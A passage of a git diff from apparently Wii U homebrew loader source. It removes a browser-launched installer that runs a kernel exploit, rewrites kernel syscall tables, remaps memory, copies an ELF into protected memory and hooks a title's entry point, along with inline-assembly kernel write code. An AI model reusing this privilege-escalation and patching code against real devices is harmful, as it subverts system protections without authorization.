- #define KERN_SYSCALL_TBL_3 0xFFE85470 // works with loader - #define KERN_SYSCALL_TBL_4 0xFFEAAA60 // works with home menu - #define KERN_SYSCALL_TBL_5 0xFFEAAE60 // works with browser (previously KERN_SYSCALL_TBL) - - #define address_LiWaitIopComplete 0x01010180 - #define address_LiWaitIopCompleteWithInterrupts 0x0101006C - #define address_LiWaitOneChunk 0x0100080C - #define address_PrepareTitle_hook 0xFFF184E4 - #define address_sgIsLoadingBuffer 0xEFE19E80 - #define address_gDynloadInitialized 0xEFE13DBC -#elif (VER == 410) - #define ADDRESS_OSTitle_main_entry_ptr 0x1005A8C0 - #define ADDRESS_main_entry_hook 0x0101BD4C - - #define KERN_SYSCALL_TBL_1 0xFFE84C90 - #define KERN_SYSCALL_TBL_2 0xFFE85090 - #define KERN_SYSCALL_TBL_3 0xFFE85C90 - #define KERN_SYSCALL_TBL_4 0xFFE85490 - #define KERN_SYSCALL_TBL_5 0xFFE85890 // works with browser - - #define address_LiWaitIopComplete 0x0100F78C - #define address_LiWaitIopCompleteWithInterrupts 0x0100F678 - #define address_LiWaitOneChunk 0x010007F8 - #define address_PrepareTitle_hook 0xFFF166DC - #define address_sgIsLoadingBuffer 0xEFE19CC0 - #define address_gDynloadInitialized 0xEFE13BFC -#elif (VER == 400) - #define ADDRESS_OSTitle_main_entry_ptr 0x1005A600 - #define ADDRESS_main_entry_hook 0x0101BD4C - - #define KERN_SYSCALL_TBL_1 0xFFE84C90 - #define KERN_SYSCALL_TBL_2 0xFFE85090 - #define KERN_SYSCALL_TBL_3 0xFFE85C90 - #define KERN_SYSCALL_TBL_4 0xFFE85490 - #define KERN_SYSCALL_TBL_5 0xFFE85890 // works with browser - - #define address_LiWaitIopComplete 0x0100F78C - #define address_LiWaitIopCompleteWithInterrupts 0x0100F678 - #define address_LiWaitOneChunk 0x010007F8 - #define address_PrepareTitle_hook 0xFFF15E70 - #define address_sgIsLoadingBuffer 0xEFE19CC0 - #define address_gDynloadInitialized 0xEFE13BFC -#elif ( (VER == 300) || (VER == 310) ) - #define ADDRESS_OSTitle_main_entry_ptr 0x1005BBC0 - #define ADDRESS_main_entry_hook 0x0101894C // used OSDynLoad_Acquire 0x01022CBC from libwiiu to calculate - - #define KERN_SYSCALL_TBL_1 0xFFE84D50 - #define KERN_SYSCALL_TBL_2 0xFFE85150 - #define KERN_SYSCALL_TBL_3 0xFFE85D50 // comes after KERN_SYSCALL_TBL_5 - #define KERN_SYSCALL_TBL_4 0xFFE85550 - #define KERN_SYSCALL_TBL_5 0xFFE85950 -#else - #error Please define valid values for firmware. -#endif // VER - -#define ROOTRPX_DBAT0U_VAL 0xC00003FF -#define COREINIT_DBAT0U_VAL 0xC20001FF -#if (VER >= 410) - #define ROOTRPX_DBAT0L_VAL 0x30000012 - #define COREINIT_DBAT0L_VAL 0x32000012 -#elif (VER <= 400) - #define ROOTRPX_DBAT0L_VAL 0x4E000012 - #define COREINIT_DBAT0L_VAL 0x4D000012 -#else - #error Please define valid values for firmware. -#endif - -/* Install functions */ -static void InstallMain(private_data_t *private_data); -static void InstallPatches(private_data_t *private_data); -static void ExitFailure(private_data_t *private_data, const char *failure); - -static int show_install_menu(unsigned int coreinit_handle, unsigned int *ip_address); -static void thread_callback(int argc, void *argv); - -static void SetupKernelSyscall(unsigned int addr); -static void KernelCopyData(unsigned int addr, unsigned int src, unsigned int len); - -/* assembly functions */ -extern void SC_0x25_KernelCopyData(void* addr, void* src, unsigned int len); -extern void Syscall_0x36(void); -extern void KernelPatches(void); - -/* ****************************************************************** */ -/* ENTRY POINT */ -/* ****************************************************************** */ -void __main(void) -{ - /* Get coreinit handle and keep it in memory */ - unsigned int coreinit_handle; - OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle); - - /* Get our memory functions */ - unsigned int* functionPointer; - void* (*p_memset)(void * dest, unsigned int value, unsigned int bytes); - OSDynLoad_FindExport(coreinit_handle, 0, "memset", &p_memset); - - private_data_t private_data; - p_memset(&private_data, 0, sizeof(private_data_t)); - - private_data.coreinit_handle = coreinit_handle; - private_data.memset = p_memset; - private_data.data_elf = (unsigned char *) ___sd_loader_sd_loader_elf; // use this address as temporary to load the elf - - OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &functionPointer); - private_data.MEMAllocFromDefaultHeapEx = (void*(*)(unsigned int, unsigned int))*functionPointer; - OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &functionPointer); - private_data.MEMFreeToDefaultHeap = (void (*)(void *))*functionPointer; - - OSDynLoad_FindExport(coreinit_handle, 0, "memcpy", &private_data.memcpy); - OSDynLoad_FindExport(coreinit_handle, 0, "OSEffectiveToPhysical", &private_data.OSEffectiveToPhysical); - OSDynLoad_FindExport(coreinit_handle, 0, "DCFlushRange", &private_data.DCFlushRange); - OSDynLoad_FindExport(coreinit_handle, 0, "ICInvalidateRange", &private_data.ICInvalidateRange); - OSDynLoad_FindExport(coreinit_handle, 0, "_Exit", &private_data._Exit); - - if (private_data.OSEffectiveToPhysical((void *)0xa0000000) == (void *)0) - { - run_kexploit(&private_data); - } - else - { - /* Get functions to send restart signal */ - int(*IM_Open)(); - int(*IM_Close)(int fd); - int(*IM_SetDeviceState)(int fd, void *mem, int state, int a, int b); - void*(*OSAllocFromSystem)(unsigned int size, int align); - void(*OSFreeToSystem)(void *ptr); - OSDynLoad_FindExport(coreinit_handle, 0, "IM_Open", &IM_Open); - OSDynLoad_FindExport(coreinit_handle, 0, "IM_Close", &IM_Close); - OSDynLoad_FindExport(coreinit_handle, 0, "IM_SetDeviceState", &IM_SetDeviceState); - OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem); - OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem); - - /* Send restart signal to get rid of uneeded threads */ - /* Cause the other browser threads to exit */ - int fd = IM_Open(); - void *mem = OSAllocFromSystem(0x100, 64); - if(!mem) - ExitFailure(&private_data, "Not enough memory. Exit and re-enter browser."); - - private_data.memset(mem, 0, 0x100); - - /* Sets wanted flag */ - IM_SetDeviceState(fd, mem, 3, 0, 0); - IM_Close(fd); - OSFreeToSystem(mem); - - /* Waits for thread exits */ - unsigned int t1 = 0x1FFFFFFF; - while(t1--) ; - - /* restore kernel memory table to original state */ - kern_write((void*)(KERN_ADDRESS_TBL + (0x12 * 4)), 0); - kern_write((void*)(KERN_ADDRESS_TBL + (0x13 * 4)), 0x14000000); - } - - /* Prepare for thread startups */ - int (*OSCreateThread)(void *thread, void *entry, int argc, void *args, unsigned int stack, unsigned int stack_size, int priority, unsigned short attr); - int (*OSResumeThread)(void *thread); - int (*OSIsThreadTerminated)(void *thread); - - OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread); - OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread); - OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated); - - /* Allocate a stack for the thread */ - /* IMPORTANT: libcurl uses around 0x1000 internally so make - sure to allocate more for the stack to avoid crashes */ - void *stack = private_data.MEMAllocFromDefaultHeapEx(0x4000, 0x20); - /* Create the thread variable */ - void *thread = private_data.MEMAllocFromDefaultHeapEx(0x1000, 8); - if(!thread || !stack) - ExitFailure(&private_data, "Thread memory allocation failed. Exit and re-enter browser."); - - // the thread stack is too small on current thread, switch to an own created thread - // create a detached thread with priority 0 and use core 1 - int ret = OSCreateThread(thread, thread_callback, 1, (void*)&private_data, (unsigned int)stack+0x4000, 0x4000, 0, 0x1A); - if (ret == 0) - ExitFailure(&private_data, "Failed to create thread. Exit and re-enter browser."); - - /* Schedule it for execution */ - OSResumeThread(thread); - - // Keep this main thread around for ELF loading - // Can not use OSJoinThread, which hangs for some reason, so we use a detached one and wait for it to terminate - while(OSIsThreadTerminated(thread) == 0) - { - asm volatile ( - " nop\n" - " nop\n" - " nop\n" - " nop\n" - " nop\n" - " nop\n" - " nop\n" - " nop\n" - ); - } - - /* setup kernel copy data syscall */ - kern_write((void*)(KERN_SYSCALL_TBL_5 + (0x25 * 4)), (unsigned int)KernelCopyData); - - /* Install our code now */ - InstallMain(&private_data); - - /* setup our own syscall and call it */ - SetupKernelSyscall((unsigned int)KernelPatches); - Syscall_0x36(); - - /* Patch functions and our code for usage */ - InstallPatches(&private_data); - - /* Free thread memory and stack */ - private_data.MEMFreeToDefaultHeap(thread); - private_data.MEMFreeToDefaultHeap(stack); - - //! we are done -> exit browser now - private_data._Exit(0); -} - -void ExitFailure(private_data_t *private_data, const char *failure) -{ - /************************************************************************/ - // Prepare screen - void (*OSScreenInit)(); - unsigned int (*OSScreenGetBufferSizeEx)(unsigned int bufferNum); - unsigned int (*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr); - unsigned int (*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp); - unsigned int (*OSScreenFlipBuffersEx)(unsigned int bufferNum); - unsigned int (*OSScreenPutFontEx)(unsigned int bufferNum, unsigned int posX, unsigned int posY, const char * buffer); - - OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenInit", &OSScreenInit); - OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx); - OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenSetBufferEx", &OSScreenSetBufferEx); - OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenClearBufferEx", &OSScreenClearBufferEx); - OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenFlipBuffersEx", &OSScreenFlipBuffersEx); - OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSScreenPutFontEx", &OSScreenPutFontEx); - - // Prepare screen - int screen_buf0_size = 0; - int screen_buf1_size = 0; - unsigned int screen_color = 0; // (r << 24) | (g << 16) | (b << 8) | a; - - // Init screen and screen buffers - OSScreenInit(); - screen_buf0_size = OSScreenGetBufferSizeEx(0); - screen_buf1_size = OSScreenGetBufferSizeEx(1); - OSScreenSetBufferEx(0, (void *)0xF4000000); - OSScreenSetBufferEx(1, (void *)0xF4000000 + screen_buf0_size); - - // Clear screens - OSScreenClearBufferEx(0, screen_color); - OSScreenClearBufferEx(1, screen_color); - - // Flush the cache - private_data->DCFlushRange((void *)0xF4000000, screen_buf0_size); - private_data->DCFlushRange((void *)0xF4000000 + screen_buf0_size, screen_buf1_size); - - // Flip buffers - OSScreenFlipBuffersEx(0); - OSScreenFlipBuffersEx(1); - - OSScreenPutFontEx(1, 0, 0, failure); - - OSScreenFlipBuffersEx(1); - OSScreenClearBufferEx(1, 0); - - unsigned int t1 = 0x3FFFFFFF; - while(t1--) asm volatile("nop"); - - private_data->_Exit(0); -} - -/* ***************************************************************************** - * Base functions - * ****************************************************************************/ -static void SetupKernelSyscall(unsigned int address) -{ - // Add syscall #0x36 - kern_write((void*)(KERN_SYSCALL_TBL_5 + (0x36 * 4)), address); - - // make kern_read/kern_write available in all places - kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x34 * 4)), KERN_CODE_READ); - kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x34 * 4)), KERN_CODE_READ); - kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x34 * 4)), KERN_CODE_READ); - kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x34 * 4)), KERN_CODE_READ); - - kern_write((void*)(KERN_SYSCALL_TBL_1 + (0x35 * 4)), KERN_CODE_WRITE); - kern_write((void*)(KERN_SYSCALL_TBL_2 + (0x35 * 4)), KERN_CODE_WRITE); - kern_write((void*)(KERN_SYSCALL_TBL_3 + (0x35 * 4)), KERN_CODE_WRITE); - kern_write((void*)(KERN_SYSCALL_TBL_4 + (0x35 * 4)), KERN_CODE_WRITE); -} - -static void KernelCopyData(unsigned int addr, unsigned int src, unsigned int len) -{ - /* - * Setup a DBAT access for our 0xC0800000 area and our 0xBC000000 area which hold our variables like GAME_LAUNCHED and our BSS/rodata section - */ - register unsigned int dbatu0, dbatl0, target_dbat0u, target_dbat0l; - // setup mapping based on target address - if ((addr >= 0xC0000000) && (addr < 0xC2000000)) // root.rpx address - { - target_dbat0u = ROOTRPX_DBAT0U_VAL; - target_dbat0l = ROOTRPX_DBAT0L_VAL; - } - else if ((addr >= 0xC2000000) && (addr < 0xC3000000)) - { - target_dbat0u = COREINIT_DBAT0U_VAL; - target_dbat0l = COREINIT_DBAT0L_VAL; - } - // save the original DBAT value - asm volatile("mfdbatu %0, 0" : "=r" (dbatu0)); - asm volatile("mfdbatl %0, 0" : "=r" (dbatl0)); - asm volatile("mtdbatu 0, %0" : : "r" (target_dbat0u)); - asm volatile("mtdbatl 0, %0" : : "r" (target_dbat0l)); - asm volatile("eieio; isync"); - - unsigned char *src_p = (unsigned char*)src; - unsigned char *dst_p = (unsigned char*)addr; - - unsigned int i; - for(i = 0; i < len; i++) - { - dst_p[i] = src_p[i]; - } - - unsigned int flushAddr = addr & ~31; - - while(flushAddr < (addr + len)) - { - asm volatile("dcbf 0, %0; sync" : : "r"(flushAddr)); - flushAddr += 0x20; - } - - /* - * Restore original DBAT value - */ - asm volatile("mtdbatu 0, %0" : : "r" (dbatu0)); - asm volatile("mtdbatl 0, %0" : : "r" (dbatl0)); - asm volatile("eieio; isync"); -} - -static void thread_callback(int argc, void *argv) -{ - /* Pre-load the Mii Studio to be executed on _Exit - thanks to wj444 for sharing it */ - unsigned int sysapp_handle; - void (*_SYSLaunchMiiStudio)(void) = 0; - OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle); - OSDynLoad_FindExport(sysapp_handle, 0, "_SYSLaunchMiiStudio", &_SYSLaunchMiiStudio); - - _SYSLaunchMiiStudio(); -} - -static int strcmp(const char *s1, const char *s2) -{ - while(*s1 && *s2) - { - if(*s1 != *s2) { - return -1; - } - s1++; - s2++; - } - - if(*s1 != *s2) { - return -1; - } - return 0; -} - -static unsigned int get_section(private_data_t *private_data, unsigned char *data, const char *name, unsigned int * size, unsigned int * addr, int fail_on_not_found) -{ - Elf32_Ehdr *ehdr = (Elf32_Ehdr *) data; - - if ( !data - || !IS_ELF (*ehdr) - || (ehdr->e_type != ET_EXEC) - || (ehdr->e_machine != EM_PPC)) - { - ExitFailure(private_data, "Invalid elf file"); - } - - Elf32_Shdr *shdr = (Elf32_Shdr *) (data + ehdr->e_shoff); - int i; - for(i = 0; i < ehdr->e_shnum; i++) - { - const char *section_name = ((const char*)data) + shdr[ehdr->e_shstrndx].sh_offset + shdr[i].sh_name; - if(strcmp(section_name, name) == 0) - { - if(addr) - *addr = shdr[i].sh_addr; - if(size) - *size = shdr[i].sh_size; - return shdr[i].sh_offset; - } - } - - if(fail_on_not_found) - ExitFailure(private_data, (char*)name); - - return 0; -} - -/* ****************************************************************** */ -/* INSTALL MAIN CODE */ -/* ****************************************************************** */ -static void InstallMain(private_data_t *private_data) -{ - // get .text section - unsigned int main_text_addr = 0; - unsigned int main_text_len = 0; - unsigned int section_offset = get_section(private_data, private_data->data_elf, ".text", &main_text_len, &main_text_addr, 1); - unsigned char *main_text = private_data->data_elf + section_offset; - /* Copy main .text to memory */ - if(section_offset > 0) - SC_0x25_KernelCopyData((void*)(CODE_RW_BASE_OFFSET + main_text_addr), main_text, main_text_len); - - // get the .rodata section - unsigned int main_rodata_addr = 0; - unsigned int main_rodata_len = 0; - section_offset = get_section(private_data, private_data->data_elf, ".rodata", &main_rodata_len, &main_rodata_addr, 0); - if(section_offset > 0) - { - unsigned char *main_rodata = private_data->data_elf + section_offset; - /* Copy main rodata to memory */ - SC_0x25_KernelCopyData((void*)(DATA_RW_BASE_OFFSET + main_rodata_addr), main_rodata, main_rodata_len); - } - - // get the .data section - unsigned int main_data_addr = 0; - unsigned int main_data_len = 0; - section_offset = get_section(private_data, private_data->data_elf, ".data", &main_data_len, &main_data_addr, 0); - if(section_offset > 0) - { - unsigned char *main_data = private_data->data_elf + section_offset; - /* Copy main data to memory */ - SC_0x25_KernelCopyData((void*)(DATA_RW_BASE_OFFSET + main_data_addr), main_data, main_data_len); - } - - // get the .bss section - unsigned int main_bss_addr = 0; - unsigned int main_bss_len = 0; - section_offset = get_section(private_data, private_data->data_elf, ".bss", &main_bss_len, &main_bss_addr, 0); - if(section_offset > 0) - { - unsigned char *main_bss = private_data->data_elf + section_offset; - /* Copy main data to memory */ - SC_0x25_KernelCopyData((void*)(DATA_RW_BASE_OFFSET + main_bss_addr), main_bss, main_bss_len); - } -} - -/* ****************************************************************** */ -/* INSTALL PATCHES */ -/* All OS specific stuff is done here */ -/* ****************************************************************** */ -static void InstallPatches(private_data_t *private_data) -{ - OsSpecifics osSpecificFunctions; - private_data->memset(&osSpecificFunctions, 0, sizeof(OsSpecifics)); - - unsigned int bufferU32; - /* Pre-setup a few options to defined values */ - bufferU32 = VER; - SC_0x25_KernelCopyData((void*)&OS_FIRMWARE, &bufferU32, sizeof(bufferU32)); - bufferU32 = 0xDEADC0DE; - SC_0x25_KernelCopyData((void*)&MAIN_ENTRY_ADDR, &bufferU32, sizeof(bufferU32)); - SC_0x25_KernelCopyData((void*)&ELF_DATA_ADDR, &bufferU32, sizeof(bufferU32)); - bufferU32 = 0; - SC_0x25_KernelCopyData((void*)&ELF_DATA_SIZE, &bufferU32, sizeof(bufferU32)); - - unsigned int jump_main_hook = 0; - osSpecificFunctions.addr_OSDynLoad_Acquire = (unsigned int)OSDynLoad_Acquire; - osSpecificFunctions.addr_OSDynLoad_FindExport = (unsigned int)OSDynLoad_FindExport; - - osSpecificFunctions.addr_KernSyscallTbl1 = KERN_SYSCALL_TBL_1; - osSpecificFunctions.addr_KernSyscallTbl2 = KERN_SYSCALL_TBL_2; - osSpecificFunctions.addr_KernSyscallTbl3 = KERN_SYSCALL_TBL_3; - osSpecificFunctions.addr_KernSyscallTbl4 = KERN_SYSCALL_TBL_4; - osSpecificFunctions.addr_KernSyscallTbl5 = KERN_SYSCALL_TBL_5; - - osSpecificFunctions.LiWaitIopComplete = (int (*)(int, int *)) address_LiWaitIopComplete; - osSpecificFunctions.LiWaitIopCompleteWithInterrupts = (int (*)(int, int *)) address_LiWaitIopCompleteWithInterrupts; - osSpecificFunctions.addr_LiWaitOneChunk = address_LiWaitOneChunk; - osSpecificFunctions.addr_PrepareTitle_hook = address_PrepareTitle_hook; - osSpecificFunctions.addr_sgIsLoadingBuffer = address_sgIsLoadingBuffer; - osSpecificFunctions.addr_gDynloadInitialized = address_gDynloadInitialized; - osSpecificFunctions.orig_LiWaitOneChunkInstr = *(unsigned int*)address_LiWaitOneChunk; - - //! pointer to main entry point of a title - osSpecificFunctions.addr_OSTitle_main_entry = ADDRESS_OSTitle_main_entry_ptr; - - SC_0x25_KernelCopyData((void*)OS_SPECIFICS, &osSpecificFunctions, sizeof(OsSpecifics)); - - //! at this point we dont need to check header and stuff as it is sure to be OK - Elf32_Ehdr *ehdr = (Elf32_Ehdr *) private_data->data_elf; - unsigned int mainEntryPoint = ehdr->e_entry; - - //! Install our entry point hook - unsigned int repl_addr = ADDRESS_main_entry_hook; - unsigned int jump_addr = mainEntryPoint & 0x03fffffc; - bufferU32 = 0x48000003 | jump_addr; - SC_0x25_KernelCopyData((void*)(LIB_CODE_RW_BASE_OFFSET + repl_addr), &bufferU32, sizeof(bufferU32)); - // flush caches and invalidate instruction cache - private_data->ICInvalidateRange((void*)(repl_addr), 4); -} diff --git a/installer/logger.c b/installer/logger.c deleted file mode 100644 index 7873ffd..0000000 --- a/installer/logger.c +++ /dev/null @@ -1,74 +0,0 @@ -#include -#include -#include -#include -#include -#include "common/common.h" -#include "dynamic_libs/socket_functions.h" -#include "logger.h" - -static int log_socket = 0; - - -void log_init(void) -{ - if(log_socket > 0) - return; - - log_socket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); - if (log_socket < 0) - return; - - struct sockaddr_in connect_addr; - memset(&connect_addr, 0, sizeof(connect_addr)); - connect_addr.sin_family = AF_INET; - connect_addr.sin_port = 4405; - inet_aton("192.168.0.44", &connect_addr.sin_addr); - - if(connect(log_socket, (struct sockaddr*)&connect_addr, sizeof(connect_addr)) < 0) - { - socketclose(log_socket); - log_socket = -1; - } -} - -void log_print(const char *str) -{ - // socket is always 0 initially as it is in the BSS - if(log_socket <= 0) { - log_init(); - return; - } - - int len = strlen(str); - int ret; - while (len > 0) { - ret = send(log_socket, str, len, 0); - if(ret < 0) - return; - - len -= ret; - str += ret; - } -} - -void log_printf(const char *format, ...) -{ - if(log_socket <= 0) { - log_init(); - return; - } - - char * tmp = NULL; - - va_list va; - va_start(va, format); - if((vasprintf(&tmp, format, va) >= 0) && tmp) - { - log_print(tmp); - } - va_end(va); - - if(tmp) - free(tmp); -} diff --git a/installer/logger.h b/installer/logger.h deleted file mode 100644 index 5f602fb..0000000 --- a/installer/logger.h +++ /dev/null @@ -1,86 +0,0 @@ -#ifndef __LOGGER_H_ -#define __LOGGER_H_ - -#ifdef __cplusplus -extern "C" { -#endif - -/* Communication bytes with the server */ -// Com -#define BYTE_NORMAL 0xff -#define BYTE_SPECIAL 0xfe -#define BYTE_OK 0xfd -#define BYTE_PING 0xfc -#define BYTE_LOG_STR 0xfb -#define BYTE_DISCONNECT 0xfa - -// SD -#define BYTE_MOUNT_SD 0xe0 -#define BYTE_MOUNT_SD_OK 0xe1 -#define BYTE_MOUNT_SD_BAD 0xe2 - -// Replacement -#define BYTE_STAT 0x00 -#define BYTE_STAT_ASYNC 0x01 -#define BYTE_OPEN_FILE 0x02 -#define BYTE_OPEN_FILE_ASYNC 0x03 -#define BYTE_OPEN_DIR 0x04 -#define BYTE_OPEN_DIR_ASYNC 0x05 -#define BYTE_CHANGE_DIR 0x06 -#define BYTE_CHANGE_DIR_ASYNC 0x07 -#define BYTE_MAKE_DIR 0x08 -#define BYTE_MAKE_DIR_ASYNC 0x09 -#define BYTE_RENAME 0x0A -#define BYTE_RENAME_ASYNC 0x0B -#define BYTE_REMOVE 0x0C -#define BYTE_REMOVE_ASYNC 0x0D - -// Log -#define BYTE_CLOSE_FILE 0x40 -#define BYTE_CLOSE_FILE_ASYNC 0x41 -#define BYTE_CLOSE_DIR 0x42 -#define BYTE_CLOSE_DIR_ASYNC 0x43 -#define BYTE_FLUSH_FILE 0x44 -#define BYTE_GET_ERROR_CODE_FOR_VIEWER 0x45 -#define BYTE_GET_LAST_ERROR 0x46 -#define BYTE_GET_MOUNT_SOURCE 0x47 -#define BYTE_GET_MOUNT_SOURCE_NEXT 0x48 -#define BYTE_GET_POS_FILE 0x49 -#define BYTE_SET_POS_FILE 0x4A -#define BYTE_GET_STAT_FILE 0x4B -#define BYTE_EOF 0x4C -#define BYTE_READ_FILE 0x4D -#define BYTE_READ_FILE_ASYNC 0x4E -#define BYTE_READ_FILE_WITH_POS 0x4F -#define BYTE_READ_DIR 0x50 -#define BYTE_READ_DIR_ASYNC 0x51 -#define BYTE_GET_CWD 0x52 -#define BYTE_SET_STATE_CHG_NOTIF 0x53 -#define BYTE_TRUNCATE_FILE 0x54 -#define BYTE_WRITE_FILE 0x55 -#define BYTE_WRITE_FILE_WITH_POS 0x56 - -#define BYTE_SAVE_INIT 0x57 -#define BYTE_SAVE_SHUTDOWN 0x58 -#define BYTE_SAVE_INIT_SAVE_DIR 0x59 -#define BYTE_SAVE_FLUSH_QUOTA 0x5A -#define BYTE_SAVE_OPEN_DIR 0x5B -#define BYTE_SAVE_REMOVE 0x5C - -#define BYTE_CREATE_THREAD 0x60 - - -int logger_connect(int *socket); -void logger_disconnect(int socket); -void log_string(int sock, const char* str, char byte); -void log_byte(int sock, char byte); - -void log_init(void); -void log_print(const char *str); -void log_printf(const char *format, ...); - -#ifdef __cplusplus -} -#endif - -#endif diff --git a/installer/structs.h b/installer/structs.h deleted file mode 100644 index 9233f86..0000000 --- a/installer/structs.h +++ /dev/null @@ -1,32 +0,0 @@ -#ifndef STRUCTS_H -#define STRUCTS_H - -typedef struct { - unsigned char *data; - int len; - int alloc_size; - void* (*memcpy)(void * dest, const void * src, int num); -} file_struct_t; - -typedef struct { - unsigned char *data_elf; - unsigned int coreinit_handle; - /* function pointers */ - void* (*memcpy)(void * dest, const void * src, int num); - void* (*memset)(void * dest, unsigned int value, unsigned int bytes); - void* (*OSEffectiveToPhysical)(const void*); - void* (*MEMAllocFromDefaultHeapEx)(unsigned int size, unsigned int align); - void (*MEMFreeToDefaultHeap)(void *ptr); - void (*DCFlushRange)(const void *addr, unsigned int length); - void (*ICInvalidateRange)(const void *addr, unsigned int length); - void (*_Exit)(int); - - void* (*curl_easy_init)(void); - void (*curl_easy_setopt)(void *handle, unsigned int param, const void *op); - int (*curl_easy_perform)(void *handle); - void (*curl_easy_getinfo)(void *handle, unsigned int param, void *op); - void (*curl_easy_cleanup)(void *handle); -} private_data_t; - - -#endif // STRUCTS_H diff --git a/installer/types.h b/installer/types.h deleted file mode 100644 index e9194b3..0000000 --- a/installer/types.h +++ /dev/null @@ -1,22 +0,0 @@ -#ifndef TYPES_H -#define TYPES_H - -typedef unsigned long long uint64_t; -typedef long long int64_t; -typedef unsigned int uint32_t; -typedef int int32_t; -typedef unsigned short uint16_t; -typedef short int16_t; -typedef unsigned char uint8_t; -typedef char int8_t; - -typedef uint32_t size_t; - -typedef _Bool bool; -#define true 1 -#define false 0 -#define null 0 - -#define NULL (void*)0 - -#endif /* TYPES_H */ diff --git a/sd_loader/Makefile b/sd_loader/Makefile index a59f8a6..fb1e37e 100644 --- a/sd_loader/Makefile +++ b/sd_loader/Makefile @@ -118,8 +118,7 @@ $(BUILD): #--------------------------------------------------------------------------------- clean: - @echo clean ... - @rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT).bin $(BUILD_DBG).elf + @rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT).bin $(BUILD_DBG).elf $(OUTPUT).bin $(OUTPUT).h #--------------------------------------------------------------------------------- else @@ -138,6 +137,8 @@ $(OUTPUT).elf: $(OFILES) @echo "linking ... $(TARGET).elf" $(Q)$(LD) -n -T $^ $(LDFLAGS) -o ../$(BUILD_DBG).elf $(LIBPATHS) $(LIBS) $(Q)$(OBJCOPY) -S -R .comment -R .gnu.attributes ../$(BUILD_DBG).elf $@ + $(Q)$(OBJCOPY) -j .text -j .data -O binary $@ ../$(TARGET).bin + $(Q)xxd -i ../$(TARGET).bin | sed "s/unsigned/static const unsigned/g;" > $(OUTPUT).h #--------------------------------------------------------------------------------- %.a: diff --git a/sd_loader/src/entry.c b/sd_loader/src/entry.c index 8f62750..26f777c 100644 --- a/sd_loader/src/entry.c +++ b/sd_loader/src/entry.c @@ -1,13 +1,14 @@ #include #include "elf_abi.h" #include "../../src/common/common.h" -#include "../../src/common/fs_defs.h" #include "../../src/common/os_defs.h" -#include "kernel_defs.h" -#include "loader_defs.h" + +#define CODE_RW_BASE_OFFSET 0 +#define DATA_RW_BASE_OFFSET 0 #define EXPORT_DECL(res, func, ...) res (* func)(__VA_ARGS__); -#define OS_FIND_EXPORT(handle, funcName, func) OSDynLoad_FindExport(handle, 0, funcName, &func) + +#define OS_FIND_EXPORT(handle, funcName, func) OSDynLoad_FindExport(handle, 0, funcName, &func) typedef struct _private_data_t { @@ -17,434 +18,14 @@ typedef struct _private_data_t EXPORT_DECL(void*, memcpy, void *p1, const void *p2, unsigned int s); EXPORT_DECL(void*, memset, void *p1, int val, unsigned int s); EXPORT_DECL(void, OSFatal, const char* msg); - EXPORT_DECL(unsigned int, OSEffectiveToPhysical, const void*); + EXPORT_DECL(void, DCFlushRange, const void *addr, u32 length); + EXPORT_DECL(void, ICInvalidateRange, const void *addr, u32 length); + EXPORT_DECL(int, __os_snprintf, char* s, int n, const char * format, ...); EXPORT_DECL(void, exit, int); - EXPORT_DECL(int, FSInit, void); - EXPORT_DECL(int, FSAddClientEx, void *pClient, int unk_zero_param, int errHandling); - EXPORT_DECL(int, FSDelClient, void *pClient); - EXPORT_DECL(void, FSInitCmdBlock, void *pCmd); - EXPORT_DECL(int, FSGetMountSource, void *pClient, void *pCmd, int type, void *source, int errHandling); - EXPORT_DECL(int, FSMount, void *pClient, void *pCmd, void *source, const char *target, uint32_t bytes, int errHandling); - EXPORT_DECL(int, FSUnmount, void *pClient, void *pCmd, const char *target, int errHandling); - EXPORT_DECL(int, FSOpenFile, void *pClient, void *pCmd, const char *path, const char *mode, int *fd, int errHandling); - EXPORT_DECL(int, FSGetStatFile, void *pClient, void *pCmd, int fd, void *buffer, int error); - EXPORT_DECL(int, FSReadFile, void *pClient, void *pCmd, void *buffer, int size, int count, int fd, int flag, int errHandling); - EXPORT_DECL(int, FSCloseFile, void *pClient, void *pCmd, int fd, int errHandling); - EXPORT_DECL(int, SYSRelaunchTitle, int argc, char** argv); } private_data_t; -static void (*DCFlushRange)(void *addr, unsigned int size); -static void (*DCInvalidateRange)(void *addr, unsigned int size); -static void (*ICInvalidateRange)(void *addr, unsigned int size); -static unsigned int hook_LiWaitOneChunk; -static unsigned int addrphys_LiWaitOneChunk; - -extern void SC0x25_KernelCopyData(unsigned int addr, unsigned int src, unsigned int len); -extern void my_PrepareTitle_hook(void); - -/* Write a 32-bit word with kernel permissions */ -static void __attribute__ ((noinline)) kern_write(void *addr, uint32_t value) -{ - asm volatile ( - "li 3,1\n" - "li 4,0\n" - "mr 5,%1\n" - "li 6,0\n" - "li 7,0\n" - "lis 8,1\n" - "mr 9,%0\n" - "mr %1,1\n" - "li 0,0x3500\n" - "sc\n" - "nop\n" - "mr 1,%1\n" - : - : "r"(addr), "r"(value) - : "memory", "ctr", "lr", "0", "3", "4", "5", "6", "7", "8", "9", "10", - "11", "12" - ); -} - -static void 